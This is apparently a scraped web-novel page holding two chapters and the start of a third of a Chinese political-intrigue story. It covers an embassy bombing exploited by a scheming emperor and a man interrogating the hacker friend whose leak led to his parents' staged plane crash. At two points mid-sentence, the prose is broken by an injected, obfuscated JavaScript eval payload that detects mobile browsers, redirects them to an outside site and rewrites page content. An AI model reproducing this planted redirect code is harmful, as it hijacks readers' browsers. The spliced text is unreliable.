顾仲景的脸色骤然变白,他不敢相信自己的耳朵。“陛下……这是您真心下的命令?” “是。”小皇帝点了点头,声音平静,但带着一股不容反驳的力量,“你可以出去了。” 顾仲景的心头如同沉入了冰窖,他明白,赛尔维斯的影响力在皇帝面前无可撼动。他忍着因悲愤而翻涌的血郁之气,勉强敬了礼,悻悻而出。 当他关上门时,他似乎能听到站在门外的、或者经过他向他致意的人口中那些嘲笑的声音。 “说到这里,顾仲景是否对这件事有些反应过度了?” “我们都知道在四十岁之前就坐到这个位置的显然不会是普通人,不过他似乎还是太嫩了些,哈,瞧他那副被吓坏了的鹌鹑样!” 非常时刻,非常手段。 作为军人,他的职责是服从命令,但他的信仰是保护同胞的生命。 既然帝国不愿意公开派遣军事力量,那他只能使用私人力量来执行营救任务。 他不会听天由命! 顾仲景靠在驾驶座上,他的心跳地剧烈,但他没有时间犹豫。 他需要人,一群足够专业但又足够可靠的雇佣兵。 他深吸一口气,打开了一支从未使用过的一次性手机,发送了一条简讯。 “斯堪拉首都。紧急撤离。目标两大一小。价格你开。” 附件附上一家三口的照片:男人沉稳,女人温柔,孩子傻乎乎地瞪着大眼睛,窝在父母的怀抱里笑。 简讯发出去的时候,他几乎压抑不住想呕吐的欲望——他当然想救更多人,整座大使馆里面有几十号人,但他知道自己救不了那么多人命。他这一条简讯发出去,相当于他亲手放弃了其他所有人活着的权利。 很快就收到了回信。是一串数字。一组加密通讯频道的频率。 “我欠你一次。”他回复了这五个字,然后就将手机销毁。 他闭着眼睛,将额头抵在方向盘上,掌心里全是汗——他清楚,这一步走出去,就是万丈深渊了。即使家世显赫,现役军人私自联系雇佣兵,军事法庭是上定了。违抗命令,哪怕成功救人,也会被当作外交弃子。 但该死的,这就是他现在要做的事。 他没有犹豫太久,调整呼吸,镇静下来,就拨通了下一个号码。 当顾仲景回到自己的办公室时,他迫不及待地再次连通安全通讯。他这里是凌晨,唐维均那里正好是正午。当亲切熟悉的面孔出现在屏幕上时,顾仲景突然一下子语塞,因为他不知道该怎么面对他的兄长,挚友甚至是人生导师。 而唐维均只是宽容地、若无其事地微笑着,等待着,一如既往地。 顾仲景低下头,艰难地开口:“你明白的,对吧,帝国现在没有办法派兵支援,而最近的行动部队也只能在至少九十分钟里才能到达!我只能联系私人武装,他们是可靠的,在他们到达之前,你千万要保护好自己!” “嘿,不用担心,我当年也是能双手同时连射十环的神枪手。”唐维均夸张地比了比肌肉,这可是与他平日形象里极不相符地。 “大哥,有时候我真怀疑你我现在正在做的这些事,究竟值不值得。”顾仲景却并没有被逗笑。他从皇宫里铩羽而返后,重新而强烈地对自己一直以来拥护的皇权感到了极大的怀疑。前任陛下于他们都有知遇之恩,因而他愿意留下来为新皇效忠。然而,他们一直以为替帝国、替人民所做的一切,似乎都只是在喂养和孵化新的野心。 “总有人要去做这些的。若你怀疑自己所做的一切的价值,只要看看那些百姓,你就能明白了。世家、军阀、法王的存在给他们带来的是什么?而我们所做的一切又改变了什么?看看那些因此而受惠的民众吧,”唐维均慨然答道,“一目了然。你还记得当年陛下说的话吗?我们所做的一切,都是为了让这个社会进步,而社会的进步,则是为了追求人类的幸福。” “改革的本意从来不是为了彻底地消灭异己和破除旧的秩序,而是为了追逐和守护一些更加美好的东西。” “为了这一崇高的目的,人们从来不畏牺牲。” 顾仲景突然心口一痛,他似乎从这句话中嗅到了些许宿命的意味。他只能说“保持通讯线路畅通,不要心存侥幸”,而这句话又在不停地提醒他自己的无能为力。 “好的,等我回去,让你来听听小曜的小提琴独奏会,怎么样?他现在已经会拉《新春乐》了。” 好啊!想到小曜,他已经很久没有见过她的孩子了。也不知道,继承了兄长的惊才俊逸思虑恂达,加上她的秀外慧中蕙质兰心,他们的孩子,该是如何的颖悟绝伦呢? 仿佛就是在顾仲景眨眼睛的一瞬间,电脑屏幕上闪现出一片刺目的白光,然后才传来了震耳欲聋的爆炸声,紧接着,屏幕立刻地、完全地黯淡了下来,从此,那个角落暂时和世界切断了脉络。 “喂!怎么了?!喂!喂!!”顾仲景声嘶力竭地大喊,但很快,他就冷静了下来。守在门外的下属已经冲了进来,神色惴惴地等待他的指示。他面无表情地启用了 B 方案,所有人都有序地散开回到各自的工作岗位,只有他,过了许久仍然呆立在原地。 一个小时后,临时战略指挥室内。 “完全与当地联系不上,无线局域网,无线电,手机,摄像机…我们所能使用的任何通讯设备都联系不上。帝国的卫星和无人机传回的图像显示的只有连绵大火和爆炸后的建筑废墟。我们只能通过当地的新闻电视台来获取少许信息。” “我们驻扎在斯堪拉的情报人员呢?”顾仲景沙哑着声音。 “一时间还动不起来。”虽然按照规定,回答的声音足够响亮,但答话者始终不敢抬头。 “帝国的军队到了哪里?”小皇帝一个人快步走了进来。 “陛下,您亲自下令调动的特种部队及一支医疗队已经在路上了。大概九十分钟就能到达。 ” “我们需要更多情报,因为我们现在对当地的情况几乎一无所知!现在我们必须处在主动地位!”顾仲景大概是气昏头了。他不但没有向陛下行礼,而且居然还敢背对着陛下,对一屋子的人大声斥责发号施令。一边的书记员小姑娘已经被吓的快要哭出来,只是硬咬着牙才没有就这样软软晕倒下去。 还好,令现场众人大出一口气的是,驻扎在阿瓦尔加海湾的海军反恐安全团队已经先期到达。 “陛下,下官现在位于曾经的大使官邸内部,暂时不能清楚是什么引起的爆炸,但有很大可能是由斯堪拉反政府军投掷的钻地导口弹导致的,因为就连使馆地下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266203|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战时避难所都被炸穿了。在废墟中挖掘需要不少时间,至于伤亡人数以及具体情况如何,下官还没有确切证物可以证明。但可以肯定的是,这么惨烈的现场,没人可以幸存。 ” 陈珊妮第一时间看向顾仲景。比她小却一直表现的老成稳重、甚至令她时常会忘记他真实年龄的长官双手掩面,坐倒在座椅里。 唐维均是必死无疑了,然而就连地下避难所都被打穿,那么她和小曜的生死,也就不言自明了。 一股锥心之痛,逼得这个男人,终于忍不住流下热泪。 小皇帝长叹一口气,他拍拍手,对顾仲景说:“顾卿看如何妥善处理一下后事吧。至少,唐卿还曾经是朕的老师,该好好办的,朕也不会亏待他。” 顾仲景没有答话。甚至连站起来都没有。 看起来小皇帝并没有因为顾仲景的怠慢而生气,陈珊妮忍不住上前相劝:“长官,我们得尽快发表声明,否则,传递给外界帝国的形象就是软弱的…” “让外交部发言人去吧,他们擅长干这个。上电视说什么’无人幸存’。这场景惨不忍睹,况且一大半还是有我亲手促成的。是我没能成功派去武装支援。是我没能强制要求他们撤回。是我亲手把我的兄长送上死路。” 顾仲景颓丧地、神经质地搓着手指,他此刻内心席卷着一股暴虐的狂潮。 “顾卿,这并不是你的责任。”小皇帝还未长开、仍带着丝丝稚气的脸上带着惋惜,说出来的话也分外诚恳。 所有人都低下头,表示哀悼。 但室内的凝重却被一句冰冷的话打破。 “然而您这出虚伪徒劳的感情戏可配不上他为你的付出,陛,下,我有我自己的方式来哀悼,我们都有。” 室内一片死寂。顾仲景的这句话,众人都听到了,那说的可是帝国的皇帝殿下! 稍微有点眼色的人都手脚麻利地退出了这间屋子。 最后只剩下了皇帝、顾仲景和陈珊妮。 陈珊妮硬着头皮打圆场,她先悄声对着顾仲景说道:“长官,您为唐大人所做的一切,我们都看到了,这两天您几乎不眠不休上下周旋,您还是稍做休息吧,刚才说的那些话都没有必要,我们接下来还要做事态评估,也许您可以先回官舍…” “陛下,您完全可以做些什么的!唐维均是您忠实的臣子,当时您要他放弃外交大臣的职位,去战火连绵的斯堪拉,他是不是义无反顾地去了?他对您一片衷心,可你呢!毫无节制地宠幸那个人…” 顾仲景完全被怒火燃烧地失去理智,他冲着那个本可以有所作为、有所挽救的统治者大吼,丝毫没有意识到这样做会有什么后果。 小皇帝不耐烦地打断了顾仲景的质问,那张原来带着愧疚、惋惜、悲伤的面孔此刻只是陌生无比: “就算我真的要做些什么,下达的命令也只会是让他们死守到最后一刻。与其让他们惊恐地等待死亡的来临,何不如让他们在不知情的情况下当一回英雄?他们的姓名会永远被刻在帝国的丰碑上。这个结果至少比叛逃对他们来说要好一些。” “军事干预不是小事,帝国必须深思熟虑。”他重复着自己早先说过的话,话锋一转,语气意味深长,“不过,我们不能容忍自己的人民被屠杀,尤其是……在全球媒体的直播下。” “斯堪拉是个战略要地,我们早就应该考虑加强军事控制。这次事件,正是一个机会,可以让帝国的军队名正言顺地进驻斯堪拉,甚至可以直接在当地建立军事基地。” 顾仲景惊呆了,此时的小皇帝根本不再具有他平常在群臣面前的那种混合着天真的少年稚气。他如今狠毒地、就像是蛇一样的面孔,令他感到恐惧和反胃。 “你原来只是想让他去送死,然后以此达到你的目的吧!” 他愤怒地站起身:“你们分明是在借机挑起战争!” 原来如此,原来那些传闻都是真的,原来小皇帝真的早已是一个心狠手辣不择手段之人!唐维均之死竟是一箭三雕:先是除去了鸽派代表唐维均,其次是向右翼和既得利益者写保证书,再者将国内矛盾、民众对于改革不彻底的怒意转移至这件事情上,说不定他们还想更进一步,借此出兵,完成鹰派一直以来的理想! 小皇帝挥了挥手,示意他坐下,然后语气柔和地说道: “战争?不,我们不主动挑起战争。但……如果对方不给我们选择呢?” “战争的成本不容小觑。短期内,战争可能带动军工和能源行业,但长期来看,我们的国际贸易和资本市场可能受损……不过,如果我们能在这场冲突中迅速获胜,拿下关键的资源或者港口,倒也未必是坏事。” 此时,在离冬宫不远处的神圣议会大厦里,紧急议会正在召开。大厅内的壁画描绘着与神祇与帝王并肩的背景,象征着神权与君权的共存。 议员们安静地坐在座位上,等待首相的发言。 新闻发言人站出来,展示了一组照片: 第一张,是被围攻的大使馆,抗议者高举武器; 第二张,是大使馆被轰炸后一片废墟的模样; 第三张,放大了一张模糊的图像,疑似是有人在抗议者人群中煽动暴乱。 “诸位,民众需要真相。”新闻发言人推了推眼镜,缓缓说道,“在未来24小时内,我们的新闻机构将发布一系列关于大使馆危机的报道,我们要让世界看到,我们的人民正受到无端攻击。” 首相目光冷峻,扫视全场,缓缓说道:“尊敬的各位议员,帝国驻斯堪拉大使馆现在遭受到了毁灭性的打击,这是对我们帝国的直接挑战,鉴于当前形势的严峻性,为了确保国家安全与公民的利益,现在,我需要你们的授权。” “授权什么?”上议院的一位贵族议员警惕地问。 “授权政府,动用可动用的所有资源来迎接这场危机,我们的军事力量、情报系统、外交手段将不受任何限制,在必要时采取一切手段,保护我们的国民。” 议会大厅顿时陷入沸腾。 陈珊妮的手机上被推送了一条紧急新闻,提示声大到打断了顾仲景和小皇帝的对峙。 “首相宣布,帝国此刻正式进入战争紧急状态。”陈珊妮一字一句地念了出来。 “紧急状态?”顾仲景微微睁大眼睛,看向皇帝,声音微颤,惊疑、不安、愤怒交织在脸上,“上一次战争才刚刚结束不久,你真是疯了…” “你配不上你父皇交给你的这顶皇冠和权杖!为了你的一己私欲,妄图挑起一场战争,还以你的恩人为代价!别忘了,当初你皇位有失时,是谁对你效忠到了最后,才扶持你登上了皇位!” 顾仲景已经没有气力了,他满心满眼里都是后悔,后悔自己怎么瞎了眼,怎么会选择向这样一个人效忠! “你们这些人全都不懂!父皇只会因循守旧,在朕手里的帝国才能焕发出新的生机!为了生存和扩张的战争是正义的!更是必须的!” “唐维均是孤的老师,但他同时也是孤的臣子,帝国的军人!孤有权力让他们生,或死。只要能取得胜利,在战争当中只有输赢,不分对错!”小皇帝下意识切换了自称,他狂热的眼神让一旁的陈珊妮不寒而栗,她拉着顾仲景,此刻只想夺路而逃。 “孤,会给唐卿无上的荣光。孤会命人题碑,立于忠贤祠内,亲自做赞。孤早就连谥号都想好了,就曰’忠献’,碑上可题’辅佐元功,精忠全德’。如何?这可是父皇在世都没有臣子能享受到的荣耀啊!” “孤会出席唐卿的追悼会,在全帝国面前称颂他的英勇无畏。又或者,顾卿比较想令他身败名裂?” “也对,顾卿还对唐夫人念念不忘呢是吗…叫心爱的人’嫂子’的滋味如何?” “长官?!长官!!” 23. 人生如戏 周末的清晨,阳光灿烂,晴空万里无云。傅尧停下笔仰起头,活动了下颈椎,起身走到落地大玻璃窗边,望着楼下露天游泳池里那个矫健的身影——女孩优美而修长的身躯在如同泼洒了碎金的水面上破水而出,如同一只健美的海豚,几个呼吸的瞬间就游到了池边。 她并没有急着上岸,而是若有所觉地抬头望向二楼的那间书房。对上那双明亮而美丽的双眸,傅尧有些瑟缩:虽然玻璃窗上贴了反射膜,窗外的人是瞧不见窗里的一切的,但他仍不想令张瑾妤发现自己的存在。 恍惚中,他怀疑起自己是否已经无可救药地迷恋上这种,名为欣赏实为偷窥的感觉。 张瑾妤似乎笃定了傅尧就在那扇窗子的背后看着她,她扬起细腻如脂的手臂,挥了挥,做着邀请的姿势,倏尔一笑,那清冷中又带着一点甜蜜的笑意彻底掳获了傅尧的全部注意力。他看着书桌上堆着的有小半尺高的材料,恨恨地想:好吧,我就先放下你们,去会会那个折磨人的小妖精。 直至此时,傅尧一直以来所引以为傲的自制力终于崩溃,灰飞烟灭。 “怎么了?”傅尧踱步来到了泳池边。太过灼目的灿烂阳光让他只好微眯着眼,但即使这样,他也没错过女孩那光洁如玉的肩膀和美好的身材。 张瑾妤一把揪下硅胶泳帽,摘掉泳镜,晶莹的水珠顺着她的披下的长发滑落在形状优美的胸脯上,她眨了眨眼,细密卷翘的长睫毛上也沾着些小水珠,俏皮地笑:“我不知道你在窗户后面哦,刚才我只是伸了个懒腰~” 张瑾妤近来已经戏弄过数次傅尧,看着他此刻又是耳垂发红,一副窘迫难堪的模样,心里不知道有多得意:这个傅尧,常年都板着一副扑克脸,冰山似的,简直没有喜怒哀乐,不食人间烟火。若是他的同窗能看到他如今这表情生动的模样,不知有多少人会大惊失色、目瞪口呆。 傅尧看着她因为自己的表情笑得小狐狸般眯起双眼,虽然面上不显,心中其实也很得意:张瑾妤平日里也是一副清冷如高岭之花的模样,只有自己能看到她这样嬉笑怒骂如小女生的活泼调皮。想想现在,就连顾梓聿也被她拒之千里的态度弄得坐卧不安、心神不定,他就觉得自己简直是上天见怜才被赐予了如此的好运气。 “好啦,说正事,”张瑾妤脸上虽笑得灿烂,声音却低下来:“芭比有消息了吗?” 芭比其实指的就是半年前因为飞机失事而宣告罹难的傅氏夫妇。 “嗯,今天早上刚出的新款,我已经买回来了。”傅尧笑道:“你都这么大了,还喜欢玩这些小女生才喜欢的东西,真幼稚。” “难道你不想玩吗?”张瑾妤虽用的是挑衅的语气,但目光却友善而真诚。 在温暖而热烈的阳光下,傅尧浑身的细胞都懒洋洋地沐浴着生机勃勃的能量。他回想起这半年来自己或真或假的忐忑、哀痛、悲伤等等,直到终于等到现在这一刻的释然:“的确,我也期待很久了。” 在这么多这么多艰难的日子里,即使他知道这一切只不过是一场演给外人看的戏,但要他接受亲眼目睹父母双亲的“死亡”并不是一件容易的事。当那则轰动了华纳各界的新闻终于播出,随之而来的,不是他预想中的如释重负,而是货真价实的伤痛与无助。 多少次,在安静的卧室内,他一次又一次从黑暗中惊醒。 他已经习惯于无言地抹去额上的冷汗,看一眼床头柜上的闹钟,起身换一件干燥的睡衣,又再重新窝进被子里等待黎明降临的夜晚。 他回忆起接到噩耗的那一刻。 飞机明明还在领空,雷达却失效了。 都是假的。他心里不停地安慰着自己,是假的、是假的,一切都是在他们预料之中的。 然而手却止不住地发抖。 他克制不住自己的恐惧,他开始否认这一切,否认他们上了那架飞机,否认这个世界的存在。 他忍不住想,如果傅家没有接到张瑾妤那份至关重要的情报,现在会如何?他的父母是否从此就尸骨无存,而他该如何担负起这一切? 他失控着大吼:“这是什么意思?” 他无法发泄自己的恐惧,如果这是真的呢? 可能是飞弹攻击——可能这是隐藏于暗处的敌人的诡计。 “电子仪表器可能失火了,这就能解释为什么异频雷达收发器收不到信号。”对方就着有限的情报分析着。 傅尧不得不扮演两个人。一个躯壳里面的他,虽然早已有所准备,但却忍不住怀疑傅家是否掉入了更大的陷阱;一个众人所见的他,尽管在得知噩耗后悲痛万分,但却要极力冷静下来,维持大局。 “MH-370坠机理论吗?连猪都不会相信!”傅尧听着自己的声音,怒火中带着点颤抖的慌张。很好,他安慰着自己:你做的很到位。 “这种东西有时候就会出错… 但这并不能说明这是谁的错。”技术专家有点被吓到,他连忙解释,“飞机不是被击落的。我们的分析人员能够确定在飞机附近没有导弹发射,并且也没有检测到飞机残骸。” 这样啊…躯壳里面的傅尧稍稍放下点心,而众人所见的傅尧却更加悲愤,他着意表露出自己的强自镇定:“那如果是飞机上携带了炸口弹,导致空中爆炸解体呢?” 年逾半百的技术专家看着这个现在傅家名义上的主持者,其实不过是个半大小子,心生怜惜之情:“不可能,起飞前行李都经过绝对严密的安全检查。异频雷达收发器最近一次收到的信息定位来自于极为崎岖的山区地带,我们的人搜索工作还在进行,距发现飞机残骸还需要一段时间。” “…在那一带多派一些我们自己的侦察机。拜托大家了。” 傅尧疲惫地将一应事项安排妥当,才敢稍稍放松下来。他虚脱地闭上双眼,本以为是万无一失的诱敌之术,为了增加迷惑性,连母亲也不顾危险以身做饵上了飞机…多么可笑,若有万一,他傅尧,从此就成了失怙失恃之人。就连尸体残骸也不可能找到,只有他们临走前的那个笑容还能聊以缅怀。 方灵烨一边收拾着书桌上的东西,一边侧耳倾听着:一旁老旧的收音机传出用索伦语播报的新闻,夹杂在外语吐字呼吸间若隐若现的是另一头烧水壶“咕嘟咕嘟”沸腾的声音。方灵烨拿捏好时间,等到烧水壶的开关一跳,他就立马撕开一桶红烧牛肉面,左手调料包右手热水壶,“嘶”地一声,扑鼻的香味顺着蒸腾的热气就这样充满了整个房间。 在等待速食面熟的那一小段时间里,方灵烨也没闲着。他双手洗着厨房里的锅碗瓢盆,右脚打着节拍,大脑却还能分成毫不相干的两半独立工作:一大半是在接收、分析和记忆那些外语,而在另一小半,他真正属于自己的,他想的是他在深网的洋葱账户里收到的那笔佣金能不能支持姐姐的医药费。 他重复地计算这已经算过很多遍的账单,左手操起叉子,毫不含糊地吃起了面。汤汁有点烫口,然而面却刚刚好,微微弹牙,充满韧劲。咽下一口鲜美的面汤,他嚼着爽脆的萝卜块,不无沮丧地再一次发现——钱还是有些不够。 十万块索伦金,对于一份情报来说,以深网的标准来看,说少已经不算是少了。可是,这对于姐姐还是不够。妈妈现在已经把房子卖了,他们一家人租住在这个预制板房里,所有的希望全部放在方灵烨的身上。 方灵烨过两天就要出发去参加国家队最后的小名单选拔,作为 NOI 的金牌获得者,他是金牌中的第七名,而在集训的整体排名中,他常常在5、6名徘徊。最后能走上 IOI 的赛场的国家队名额只有四位,而他并不是十拿九稳的。如果他能顺利走上 IOI 的赛场,他的申请材料里能有一块世界大赛的奖牌傍身,这样含金量的成绩,被钻石联盟校录取的几率应该说是极高的。 当然,这也要建立在申请者本人的其他材料尤其是家庭条件较好的条件下。 公费生是由索伦的华人商会赞助的,由此,留学生所能去到的学校一般都是名声较好、学术水平较高的公立大学,钻石联盟校学费太高,是不会被纳入考虑的。况且,方灵烨赴索伦最重要还是替姐姐寻医求药,学费并不能占用太多预算。 尽管,方灵烨再想去那些走在科研尖端的高校就读,他也有心无力。 不过,一向乐天的他并不愿意去考虑那些离自己太远的事情。看看墙上的时钟,他喝完最后一口汤,意犹未尽地舔了舔嘴唇,清理了一下桌子。 他开始炖上一锅鸡汤。加了点香菇、黄芪、枸杞,诱人的香气慢慢透出,这又和之前泡面的那种粗糙油腻的人工香气不太一样,鸡汤的清甜让他陷入遐想:他提着这一锅汤走进病房。姐姐原本无聊地躺着,一下被这香气勾起了食欲,然后她小鹿般圆圆的双眼亮晶晶地看着他,然后… “笃笃”敲门声响起。方灵烨有点奇怪,按理说妈妈不应该这么早回来,况且她也不会忘记带钥匙吧。不过,他嘟囔着,还是走过去开了门:“妈,等一下哈。” 然而,当他打开门,出现在他眼前的,却是一只喷雾器。 方灵烨清醒前的最后一瞬意识,就是他被几个看起来打扮极其普通平常扔进人群里都找不出来的人给抱上了一辆灰色的小汽车。 喂...你们是谁… “瑾妤,我出门一趟啊!”张瑾妤的母亲慕容莹回到了娘家居住,而张瑾妤则搬到傅家大宅与傅尧同居。说是同居,其实两人各占一层,宅子里还有其他的工作人员。只不过他们二人如今,带着一股同命相怜的意味。 “好,早点回来吧,我今天晚上炖了一锅鸡汤。”张瑾妤从厨房闪出身来,两人相望,竟隐约有了股小夫妻的味道。 “嗯。”傅尧点点头。他现在要去赴的是一个他苦苦等待了一百多天的约会。 当方灵烨清醒过来时,手腕上的皮带深深勒进皮肉里,他的额角有疼痛感——他被禁锢在一张刑椅上。这种他平常只能在电影中见到的道具真实地唤起了他的恐惧,他努力睁开眼睛,但这是徒劳。他眼前一片黑暗,嘴上也被封上了胶带。空气里弥漫着铁锈与消毒水混合的味道,仿佛一座没有温度的坟墓。他不敢发出任何声音,害怕引起对方的不满。 傅尧急步走向那个门口,当他揿下门钮时,所想的都是如何让这个人事无巨细地吐露出一切,他不惮使用任何合法或非法、残忍或酷烈的手法来让他屈服。他这一刻,已经准备抛弃掉自己所有的良知和道德。周兴?很好,那将会是他的榜样。 他那双绿色眼睛在阴影下幽幽发亮,像是燃尽森林里的火焰,狠厉,暴虐。 突如其来的脚步声让方灵烨浑身一个激灵。他知道来人了。尽管对来人有莫名的恐惧,他仍然勉强强迫自己冷静过来──他没有杀人,他唯一的过错就是知道了一个消息并把它分享给了另一个人,他会把所有细节和盘托出,因为他不可能能熬过任何刑罚。他要用尽全力乞求对方的谅解,以此保全自己的性命。 而当傅尧走向那个看起来有些年轻的身躯,饱含着怒意和恨意一把掀掉那个人的头套时,他绝对不可能想到下一秒,他就看见他三年的同窗、好伙伴、好朋友方灵烨,就那样恐惧地坐在那里。 模糊的视线里,这是一个很小的房间,没有窗户,只有铁门和水泥墙,死白死白的灯光从天花板投下,雪亮刺目。 方灵烨骤然看见光亮的眼睛先是迷茫地眨了眨,在看清面前是谁的时候,瞬间惊恐地睁大了。 映入他眼帘的那张面孔,令他心胆俱裂。 事情,应该,大概,可能,perhaps,不是他现在想的那样吧。 神呐,你们都没长眼吗! 方灵烨这回真的想死了。 傅尧一言不发地撕去了对方嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266204|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胶带时,显然,尽管很疼,方灵烨颤抖着双唇,仍然一个字也不敢说。 傅尧看着身前的人,突然一阵疲惫。这种比最戏剧性的晚八点档肥皂剧还要戏剧的情节为什么也能叫他碰上?他此时根本不知道该说些什么,本来想好的预演好的一瞬间都被推翻。他不可能真的下手对方灵烨做些什么,但他实在咽不下这口哽了这么久的气。他一拳砸在桌子上,又飞起一脚踹向方灵烨的胸腹之间。 一阵剧痛,方灵烨疼得弓下身子,然而脖子又被紧紧箍住,于是他又被勒得上气不接下气。尽管他之前已经隐约知道自己是被谁找上门了,但看到面前的是傅尧,就像坐过山车一样,他的心脏瞬间停跳。他仍旧不敢呼痛,只是断断续续地说: “我…随你处置…但...救我姐…” 傅尧愤恚地又踹了一脚,但显然力度减轻了些许:你这么高风亮节!你这么舍生取义!那你想过别人的父母吗! 方灵烨显然吓坏了,被连着踹了两脚,大气都不敢出。 “告诉我,你做了什么?EX-017 的航班信息是你泄露的吗!” 傅尧拉过一把椅子,坐在方灵烨正对面,他俯身盯着方灵烨的眼睛,死死地盯着,两双眼睛的距离不过一只手的距离,冷冽道:“说。” 方灵烨完全屈服:“我全告诉你,这完全是个意外,任务目标是一份私人航班的行程数据,我只是提供了航班编号、起飞时间和航线轨迹,我没有杀人,我其他的什么都不知道!” “意外!”傅尧怒吼,“你知道这个意外害死了多少人!一架飞机,六条人命!包括我的父母!你知道意外之后等待着你的是什么吗?一针氰口化口钾!不到十秒!” 方灵烨的喉结滚动了一下,脸色惨白:“我……我不知道……他们只是要一份航班计划,我没想到……我没想到……我以为……我以为那只是商业机密……他们说,只是商业情报而已……!” “你不知道?”傅尧轻笑了一声,那笑容却没有一丝温度。他缓缓俯身,一只手撑在方灵烨的肩膀上,目光近得让对方无处可逃,“你堂堂方灵烨,敢于黑进安保最严密的数据库,从来只接’清楚自己在做什么’的活,现在告诉我,你不知道?” “我叫傅尧,在事故中丧生的傅晋准和索菲亚,是我的父母!” 方灵烨闭上眼,痛苦地喘息了一下,声音低哑:“他们给的钱太多了……我需要钱……我姐姐需要钱……” “所以你就拿着这些钱,买下我父母的命?在深网当赏金黑客?你做多久了?你脑子是被巨怪践踏过了吧!你到底知不知道你违反了多少帝国法和国际法?” 傅尧的声音带着无法抑制的愤怒,已经判定他的罪,任何辩解都没有意义。 方灵烨痛苦地低下头,眼泪和鼻涕一齐流下来,他嘴里翻来覆去的只有“对不起…对不起…”他突然发现,自己再怎么试图撇清自己,都改变不了这个事实——他亲手把朋友的父母送上了一架即将坠毁的飞机。 “你知道我说的都是实话,我当初真的不知情,傅尧,你知道我的,相信我!” 傅尧冷笑了一声,声音沉得像石子落入一口黑暗的旱井:“我只知道我是来审你的。” “来之前,我本来想杀了你。在来的路上,我想着,我一定要杀了那个人,选让他最痛苦的死法。”傅尧的手缓缓收紧,像是要捏碎什么,又像是在克制着自己的冲动。几秒后,他猛地后退一步,深吸了一口气,像是在用力压下胸口翻腾的怒意。 傅尧盯着他,眼神锋利如刃:“现在,把你知道的每一个细节都告诉我。” 方灵烨浑身发抖,抽噎道:“我是半年前无意中发现的,我真的没有做过什么伤天害理的事…除了这个…我当时失去了理智,姐姐生病要治疗要吃药,可是家里没钱,我们都要卖房子了…” “…我真的不知道别的更多的了,新闻播出当天我就知道不对劲,但我找不到当初这个任务的买家了,他当初验证的身份是假的。那个给我汇款的账号我也查不到任何的线索,我真的只知道这么多了傅尧!” 傅尧缓缓低下头,对面是曾经一起亲密相处过无数日夜的朋友,只是因为困于亲人的不幸,和对金钱的渴求,所以把自己的才华用于和魔鬼做交换。 “求求你相信我,傅尧,不要把我送给调查小组,我真的把我能知道的都告诉你了,”方灵烨绝望地嘶声求饶,他赌面前的人不会真的对他下杀手,如果自己足够可怜,“我还有妈妈和姐姐要照顾,真的,别让我死,你让我做什么都行。” 方灵烨的脸上有惊惧、后悔、内疚、羞愧,唯独没有欺骗和隐瞒。 傅尧低头俯视着对方苍白的脸,声音低沉而平静:“那就看你有没有价值,让我不杀你。” 他没法想象这张脸最后被送往不管是调查小组或者哪个秘密审讯处,最后无声无息地消失在下水沟或者焚化炉。 他微微侧头,像是在审视着某个值得利用的棋子。 “你知道那些人是谁,你接触过他们,你能靠近他们。”傅尧轻轻地说,声音像是催眠,“他们信任你,不是吗?” 方灵烨倒吸一口气。 “傅尧……你想让我做卧底?”他的声音微微发颤。 傅尧不置可否地微笑了一下。 “我给了你一个机会,证明你的价值。” 方灵烨的脸色苍白到了极点。 他能感觉到傅尧不是在开玩笑——这不是一个圈套,而是一个冷静的交易。傅尧并不真的在乎他,只是需要一个工具,一个可以潜伏在敌人之中的耳目。 他艰难地开口:“……如果我答应,我有什么保障?” 傅尧垂下眼睫,笑容仍然温和,却透着令人胆寒的意味:“你没有保障,方灵烨。” “但至少,你还能活着。” 24. 前路茫茫 六月的第一个星期六早晨,排练厅里弥漫着松香和木质乐器特有的味道,清晨的阳光透过高高的玻璃窗洒在木地板上,乐团的成员们大多已经就位,或擦拭着自己的乐器或调音或抓紧时间读谱,等待着排练的开始。出乎意料地,没有人交头接耳地闲聊,即使是平时最爱上蹿下跳的,此刻也都很安静。 这一切看上去和往常没有什么不同,只是少了一个熟悉的身影。 吴宏礼的离世还像是一片阴云,重重地压在所有人的心上—— 他的严厉、暴躁、近乎苛刻的要求曾让每个团员都紧张不已,但同样,也塑造了一支纪律严明、演奏精准的乐团。如今,斯人已逝,整个乐团就像是被某种无形的力量压制着,沉默又拘谨。吴老师的声音似乎还残留在空气里,甚至连指挥棒重重敲打谱架的声音,都仿佛还在耳边回响。 “你最近身体还好吧?”姜明珺戳了戳顾梓聿,自从吴老师的葬礼之后,她就已经很久没见过顾梓聿了,今天居然是第一次再见面,算起来也有十多天了,“听哥说你后来烧了好几天?” “嗯,可能是前段时间太累了,免疫力低下吧。”顾梓聿没有多说。 吴老师的葬礼结束后,他只来得及在家里歇了一天,又抱病赶回帝都参加了梅纽因的闭幕庆典音乐会。 虽然生着病演出对他来说不是头一回了,但是以往都是和乐团一起,自己独奏还真是毫无安全感。他深刻地意识到以他的身体状态,根本没有办法掌控高难度的快速换把、跳弓、拨奏。因此,最终表演的时候,他没有选什么特别难的曲目,而是为了求稳,选了一个人们耳熟能详,技术上不难、又有音乐性和旋律性的《梁祝》。 这是一首他从小练到大的作品,乐句早已刻进骨子里。旋律优美流畅,没有炫技,没有复杂的弓法指法,而是更强调故事性和凄美的表达,时长难度都对他目前的体力要求较小,对于此刻的他而言,这是唯一可行的选择。 